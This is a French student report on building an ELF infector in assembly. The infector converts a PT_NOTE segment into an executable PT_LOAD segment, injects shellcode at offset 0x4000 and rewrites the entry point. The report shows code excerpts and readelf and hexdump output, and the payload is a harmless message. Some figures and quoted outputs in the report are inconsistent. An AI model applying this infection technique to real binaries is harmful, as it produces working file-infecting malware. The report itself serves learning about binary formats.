

RAPPORT ELFINFECTOR

NOM : Kerolos MORGAN

GROUPE : CSB

Sommaire

- 1) introduction**
- 2) Structure des fichiers ELF**
- 3) Explication des parties importantes du code**
- 4) Blocages rencontrés et solutions**
- 5) Outils et technique utilisés**
- 6) Resultat obtenu**

1.Introduction

Ce projet a pour objectif d'analyser et d'implémenter un programme en assembleur permettant de changer le comportement d'un fichier ELF. L'infection consiste à modifier un segment PT_NOTE en PT_LOAD afin d'injecter un shellcode exécutable, redirigeant l'adresse d'entrée (e_entry) vers le code injecté.

Pour cette démonstration, un fichier ELF simple est utilisé. Ce fichier ELF affiche initialement le message "c'est un elf sain". L'objectif est d'infecter ce fichier ELF à l'aide du programme infector pour modifier son comportement. Après l'infection, l'ELF affichera un nouveau message indiquant l'infection réussie avant de retourner à son comportement d'origine.

2. Structure des fichiers ELF

2.1 Définition d'un fichier ELF

Le format ELF (Executable and Linkable Format) est un standard utilisé sous Linux pour les fichiers exécutables, les bibliothèques partagées et les objets. Il définit la structure du fichier afin que le système puisse le charger et l'exécuter correctement.

2.2 Types de segments

Les segments d'un fichier ELF sont définis dans la table des Program Headers. Parmi les types courants de segments, on trouve :

PT_NOTE : Segment utilisé pour stocker des informations supplémentaires non exécutables.

PT_LOAD : Segment essentiel chargé en mémoire par le chargeur de programme pour être exécuté.

2.3 Structure du Program Header

Le Program Header décrit les segments du fichier ELF. Chaque entrée dans la table contient les informations suivantes :

p_type : Spécifie le type du segment (par exemple, PT_LOAD ou PT_NOTE).

p_offset : Position du segment dans le fichier.

p_vaddr : Adresse virtuelle où le segment sera chargé en mémoire.

p_filesz : Taille du segment dans le fichier.

p_memsz : Taille occupée en mémoire après le chargement.

p_flags : Permissions du segment (lecture, écriture, exécution).

3. Explication des parties importantes du code

3.1 Ouverture et lecture du fichier cible

sys_open : Le fichier ELF cible est ouvert en mode lecture/écriture pour permettre les modifications nécessaires.

read_elf_header : Cette fonction lit l'en-tête ELF pour extraire des informations cruciales telles que :

L'offset de la table des Program Headers,

La taille d'une entrée Program Header,

Le nombre d'entrées dans cette table.

```
25 ; Ouvrir le fichier cible
26 mov rax, 2 ; sys_open (ouvrir un fichier)
27 lea rdi, [filename] ; Nom du fichier à ouvrir
28 mov rsi, 2 ; O_RDWR (lecture et écriture)
29 syscall
30 test rax, rax ; Vérification de l'erreur
31 js error ; En cas d'erreur, sauter vers 'error'
32 mov [fd], rax ; Stocker le descripteur de fichier
33
34 ; Lire l'en-tête ELF pour récupérer les offsets importants
35 call read_elf_header
```

3.2 Modification du segment PT_NOTE

find_and_modify_pt_note : Cette fonction parcourt la table des Program Headers pour identifier un segment de type PT_NOTE.

Lorsqu'un segment PT_NOTE est trouvé, il est remplacé par un segment PT_LOAD.

Les permissions RWX (lecture, écriture, exécution) sont attribuées afin de rendre le segment exécutable.

Les champs p_offset et p_vaddr sont modifiés pour préparer l'injection du shellcode.

```
88 find_and_modify_pt_note:
89     mov rcx, [phdr_number]           ; Nombre d'entrées Program Header
90     mov rbx, [phdr_offset]          ; Offset de la table Program Header
91
92 .loop:
93     ; Positionner à l'offset actuel
94     mov rax, 8                       ; sys_lseek
95     mov rdi, [fd]                   ; Descripteur de fichier
96     mov rsi, rbx                     ; Offset actuel
97     mov rdx, 0                       ; SEEK_SET (position absolue)
98     syscall
99
100    ; Lire l'entrée Program Header
101    mov rax, 0                        ; sys_read
102    mov rdi, [fd]                     ; Descripteur de fichier
103    lea rsi, [phdr_buffer]            ; Buffer pour lire l'entrée
104    mov rdx, 56                       ; Taille d'une entrée Program Header
105    syscall
106
107    ; Vérifier si le type est PT_NOTE
108    cmp dword [phdr_buffer], 4        ; PT_NOTE = 4
109    je .modify                        ; Si oui, modifier cette entrée
110
111    ; Passer à l'entrée suivante
112    add rbx, 56                       ; Avancer à l'entrée suivante
113    loop .loop                        ; Décrémenter rcx et répéter
114    ret
115
116 .modify:
117    ; Modifier l'entrée PT_NOTE en PT_LOAD
118    mov dword [phdr_buffer], 1        ; PT_LOAD
119    mov dword [phdr_buffer + 4], 7    ; Permissions RWX (lecture, écriture, exécution)
120    mov rax, 0x4000                   ; Offset pour le segment injecté
121    mov qword [phdr_buffer + 8], rax   ; p_offset
122    mov qword [phdr_buffer + 16], 0x404000 ; p_vaddr (adresse virtuelle)
123    mov qword [phdr_buffer + 24], 0x404000 ; p_paddr (adresse physique)
124    mov qword [phdr_buffer + 32], 0x100 ; Taille du segment (filesz)
125    mov qword [phdr_buffer + 40], 0x100 ; Taille en mémoire (memsz)
126    mov qword [new_vaddr], 0x404000
127
```

3.3 Injection du shellcode

Le shellcode est injecté à l'offset 0x4000 dans le fichier ELF, correspondant à l'emplacement défini dans le segment modifié. Cette injection permet d'introduire le code malveillant tout en conservant la structure du fichier ELF.

```
142 ; Injecter le shellcode à l'offset 0x4000
143 inject_message:
144     mov rax, 8                ; sys_lseek
145     mov rdi, [fd]
146     mov rsi, 0x4000          ; Offset 0x4000
147     mov rdx, 0
148     syscall
149
150     mov rax, 1                ; sys_write
151     mov rdi, [fd]
152     lea rsi, [shellcode]      ; Shellcode à injecter
153     mov rdx, shellcode_len
154     syscall
155     ret
```

3.4 Modification de l'adresse d'entrée (e_entry)

modify_entry_point : Cette fonction modifie le champ e_entry dans l'en-tête ELF pour rediriger l'exécution vers l'adresse du shellcode injecté.

L'adresse de départ (e_entry) est ainsi changée pour pointer directement vers le code ajouté.

En cas d'erreur, un message d'échec est présenté à l'utilisateur.

```
157 ; Modifier e_entry dans l'en-tête ELF
158 modify_entry_point:
159     mov rax, 8                ; sys_lseek
160     mov rdi, [fd]
161     mov rsi, 0x18             ; Offset e_entry dans l'en-tête ELF
162     mov rdx, 0
163     syscall
164
165     mov rax, 1                ; sys_write
166     mov rdi, [fd]
167     lea rsi, [new_vaddr]      ; Nouvelle adresse virtuelle
168     mov rdx, 8
169     syscall
170     ret
171
```

4. Blocages rencontrés et solutions

Lors de l'implémentation du programme d'infection ELF, plusieurs blocages techniques ont été rencontrés. Voici les détails des difficultés, les solutions adoptées, et les points restants à améliorer :

Premier blocage : Maîtrise insuffisante des ELF et de l'assembleur

Au début, je ne comprenais pas correctement le fonctionnement des fichiers ELF et le langage assembleur. Lorsque je modifiais les segments ou le champ `e_entry`, l'ELF devenait corrompu et ne pouvait plus être exécuté.

Solution : Pour résoudre ce problème, j'ai simplement recompilé mon fichier C initial afin d'obtenir un fichier ELF sain. Cela m'a permis d'avoir une base propre pour tester l'infection et corriger les erreurs.

Deuxième blocage : Choix de la nouvelle adresse pour le point d'entrée et l'offset `PT_LOAD`

La modification du segment `PT_NOTE` en `PT_LOAD` nécessite de définir :

Une nouvelle adresse virtuelle (`p_vaddr`),

Un offset dans le fichier (`p_offset`),

Et une nouvelle valeur `e_entry`.

Initialement, je ne savais pas comment choisir ces valeurs, ce qui causait des erreurs d'alignement et des corruptions.

Solution : Après des recherches, j'ai appris les règles suivantes pour assurer le bon fonctionnement :

`p_offset` : Aligné à 0x1000 (4 Ko) dans le fichier pour respecter l'alignement des segments.

`p_vaddr` : Aligné à 0x1000 (4 Ko) en mémoire pour correspondre aux contraintes du chargeur ELF.

`e_entry` : Aligné à 16 octets pour garantir une exécution correcte et optimale des instructions.

Cette connaissance m'a permis de choisir des adresses cohérentes et alignées, évitant ainsi les corruptions de fichier.

Troisième blocage : Retour au point d'entrée original

Après avoir infecté l'ELF, je souhaitais que le programme retourne à son point d'entrée initial pour conserver son fonctionnement normal après l'exécution du shellcode. Cependant, bien que j'aie identifié la solution, je n'ai pas réussi à l'implémenter.

Solution théorique :

Enregistrer l'état des registres de base et le point d'entrée original avant d'exécuter le shellcode.

Une fois l'exécution du shellcode terminée, restaurer les registres et sauter vers le point d'entrée original pour reprendre le fonctionnement normal du programme.

Problème rencontré :

Dans mon cas, j'ai seulement redirigé le `e_entry` vers la nouvelle adresse contenant le message d'infection. Une fois ce message affiché, le programme ne savait plus quoi faire, ce qui entraînait un segmentation fault (segfault).

6. Outils et techniques utilisés

Outils

- `nasm`

Assembleur utilisé pour écrire et compiler le code assembleur en fichier ELF exécutable.

- `readelf`

Permet de visualiser la structure du fichier ELF, notamment les en-têtes et les segments (Program Headers).

- `vim`

Éditeur de texte utilisé pour écrire et modifier le code assembleur.

- `gdb`

Débogueur pour suivre l'exécution du programme, identifier les erreurs et examiner les registres.

- `hexdump`

Affiche le contenu du fichier ELF en hexadécimal pour vérifier les modifications et l'injection du shellcode.

- `objdump`

Désassemble le fichier ELF pour analyser les instructions machine et les segments modifiés.

Techniques

- Débogage avec `gdb` : Utilisé pour identifier les erreurs et suivre l'exécution du shellcode.

- Visualisation avec readelf et objdump : Permet de vérifier les modifications des segments et du point d'entrée.
- Analyse avec hexdump : Confirme l'injection du shellcode dans le fichier ELF.

6. Résultats obtenus

Description des tests réalisés

Avant modification :

- Le fichier ELF initial affiche le message "c'est un elf sain".

```
(kali@kali)-[~/malware/ElfInfector]
$ ./cible
Ceci est un fichier ELF sain.
```

- Le point d'entrée de base est situé à 0x1050.

```

ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
  Class:                                ELF64
  Data:                                   2's complement, little endian
  Version:                               1 (current)
  OS/ABI:                                 UNIX - System V
  ABI Version:                           0
  Type:                                   DYN (Position-Independent Executable file)
  Machine:                               Advanced Micro Devices X86-64
  Version:                               0x1
  Entry point address:                   0x1050
  Start of program headers:              64 (bytes into file)
  Start of section headers:              13968 (bytes into file)
  Flags:                                  0x0
  Size of this header:                   64 (bytes)
  Size of program headers:               56 (bytes)
  Number of program headers:              13
  Size of section headers:               64 (bytes)
  Number of section headers:              31
  Section header string table index: 30

Elf file type is DYN (Position-Independent Executable file)
Entry point 0x1050
There are 13 program headers, starting at offset 64

```


- La table des Program Headers contient deux segments de type PT_NOTE.

```
Program Headers:
```

Type	Offset FileSiz	VirtAddr MemSiz	PhysAddr Flags Align
PHDR	0x0000000000000040 0x00000000000002d8	0x0000000000000040 0x00000000000002d8	0x0000000000000040 R 0x8
INTERP	0x0000000000000318 0x000000000000001c	0x0000000000000318 0x000000000000001c	0x0000000000000318 R 0x1
[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]			
LOAD	0x0000000000000000 0x0000000000000618	0x0000000000000000 0x0000000000000618	0x0000000000000000 R 0x1000
LOAD	0x0000000000000100 0x000000000000015d	0x0000000000000100 0x000000000000015d	0x0000000000000100 R E 0x1000
LOAD	0x0000000000000200 0x00000000000000fc	0x0000000000000200 0x00000000000000fc	0x0000000000000200 R 0x1000
LOAD	0x00000000000002dd0 0x0000000000000248	0x00000000000002dd0 0x0000000000000250	0x00000000000002dd0 RW 0x1000
DYNAMIC	0x00000000000002de0 0x00000000000001e0	0x00000000000002de0 0x00000000000001e0	0x00000000000002de0 RW 0x8
NOTE	0x0000000000000338 0x0000000000000020	0x0000000000000338 0x0000000000000020	0x0000000000000338 R 0x8
NOTE	0x0000000000000358 0x0000000000000044	0x0000000000000358 0x0000000000000044	0x0000000000000358 R 0x4
GNU_PROPERTY	0x0000000000000338 0x0000000000000020	0x0000000000000338 0x0000000000000020	0x0000000000000338 R 0x8
GNU_EH_FRAME	0x00000000000002024 0x000000000000002c	0x00000000000002024 0x000000000000002c	0x00000000000002024 R 0x4
GNU_STACK	0x0000000000000000 0x0000000000000000	0x0000000000000000 0x0000000000000000	0x0000000000000000 RW 0x10
GNU_RELRO	0x00000000000002dd0 0x0000000000000230	0x00000000000002dd0 0x0000000000000230	0x00000000000002dd0 R 0x1

- Aucun shellcode n'est présent dans le fichier à l'adresse 0x4000.

```
(kali@kali)-[~/malware/ElfInfector]
$ hexdump -C cible | grep -A 10 4000
```

Après modification :

- Shellcode injecté : Le shellcode a été injecté à l'adresse 0x4000 dans le segment modifié.
- Transformation du segment PT_NOTE :
 - Le segment PT_NOTE a été converti en PT_LOAD.
 - Les champs p_offset et p_vaddr ont été modifiés pour pointer vers l'offset 0x4000 avec les permissions RWX (lecture, écriture, exécution).

```
Program Headers:
Type           Offset             VirtAddr           PhysAddr
               FileSiz              MemSiz              Flags  Align
PHDR           0x0000000000000040 0x0000000000000040 0x0000000000000040
               0x00000000000002d8 0x00000000000002d8  R      0x8
INTERP         0x0000000000000318 0x0000000000000318 0x0000000000000318
               0x000000000000001c 0x000000000000001c  R      0x1
 [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
LOAD           0x0000000000000000 0x0000000000000000 0x0000000000000000
               0x0000000000000618 0x0000000000000618  R      0x1000
LOAD           0x0000000000000100 0x0000000000000100 0x0000000000000100
               0x000000000000015d 0x000000000000015d  R E    0x1000
LOAD           0x0000000000000200 0x0000000000000200 0x0000000000000200
               0x00000000000000fc 0x00000000000000fc  R      0x1000
LOAD           0x0000000000002dd0 0x0000000000003dd0 0x0000000000003dd0
               0x0000000000000248 0x0000000000000250  RW     0x1000
DYNAMIC        0x0000000000002de0 0x0000000000003de0 0x0000000000003de0
               0x00000000000001e0 0x00000000000001e0  RW     0x8
LOAD           0x0000000000004000 0x0000000000004000 0x0000000000004000
               0x0000000000000100 0x0000000000000100  RWE    0x8
NOTE           0x0000000000000358 0x0000000000000358 0x0000000000000358
               0x0000000000000044 0x0000000000000044  R      0x4
GNU_PROPERTY   0x0000000000000338 0x0000000000000338 0x0000000000000338
               0x0000000000000020 0x0000000000000020  R      0x8
GNU_EH_FRAME   0x0000000000002024 0x0000000000002024 0x0000000000002024
               0x000000000000002c 0x000000000000002c  R      0x4
GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
               0x0000000000000000 0x0000000000000000  RW     0x10
GNU_RELRO      0x0000000000002dd0 0x0000000000003dd0 0x0000000000003dd0
               0x0000000000000230 0x0000000000000230  R      0x1
```

- Point d'entrée modifié : Le champ e_entry dans l'en-tête ELF a été redirigé vers la nouvelle adresse virtuelle contenant le shellcode.

```

ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
  Class:                           ELF64
  Data:                               2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              DYN (Position-Independent Executable file)
  Machine:                          Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x404000
  Start of program headers:          64 (bytes into file)
  Start of section headers:         13968 (bytes into file)
  Flags:                             0x0
  Size of this header:                64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         13
  Size of section headers:           64 (bytes)
  Number of section headers:         31
  Section header string table index: 30

```

- Vérification avec hexdump :
 - L'utilisation de hexdump a confirmé que le message d'infection (infection reussie !.) est bien présent à l'adresse 0x4000 dans le fichier ELF modifié.

```

(kali@kali)-[~/malware/ElfInfector]
$ hexdump -C cible | grep -A 10 4000
00004000 b8 01 00 00 00 bf 01 00 00 00 48 8d 34 25 7b 20 |.....H.4%{ |
00004010 40 00 ba 13 00 00 00 0f 05 ff 24 25 e4 20 40 00 |@.....$. @.|
00004020 49 6e 66 65 63 74 69 6f 6e 20 72 65 75 73 73 69 |Infection reussi|
00004030 65 21 0a                                     |e!.|
00004033

```

Problème rencontré

Malgré ces modifications réussies, l'exécution du fichier ELF provoque un segmentation fault. Ce problème est dû à l'absence de retour au point d'entrée original après l'exécution du shellcode. Ainsi, une fois le message d'infection affiché, le programme ne sait pas quoi exécuter ensuite.

```
(kali㉿kali)-[~/malware/ElfInfector]
$ nasm -f elf64 infector.asm -o infector.o
ld infector.o -o infector

(kali㉿kali)-[~/malware/ElfInfector]
$ ./infector
PT_NOTE modified to PT_LOAD successfully

(kali㉿kali)-[~/malware/ElfInfector]
$ ./cible
zsh: segmentation fault ./cible
```

Résultat final

- Succès de l'infection :
 - Le fichier ELF affiche correctement le message d'infection injecté.
 - Les modifications des segments et du point d'entrée sont fonctionnelles.
- Problème de stabilité :
 - Le programme ne retourne pas à son état initial après l'exécution du shellcode, provoquant une erreur segmentation fault.
 - Cette limitation pourrait être résolue en implémentant une sauvegarde et une restauration des registres ainsi qu'un saut vers le point d'entrée original.

En conclusion, l'infection est réussie en partie, avec une démonstration claire du fonctionnement du shellcode injecté et des modifications structurelles du fichier ELF.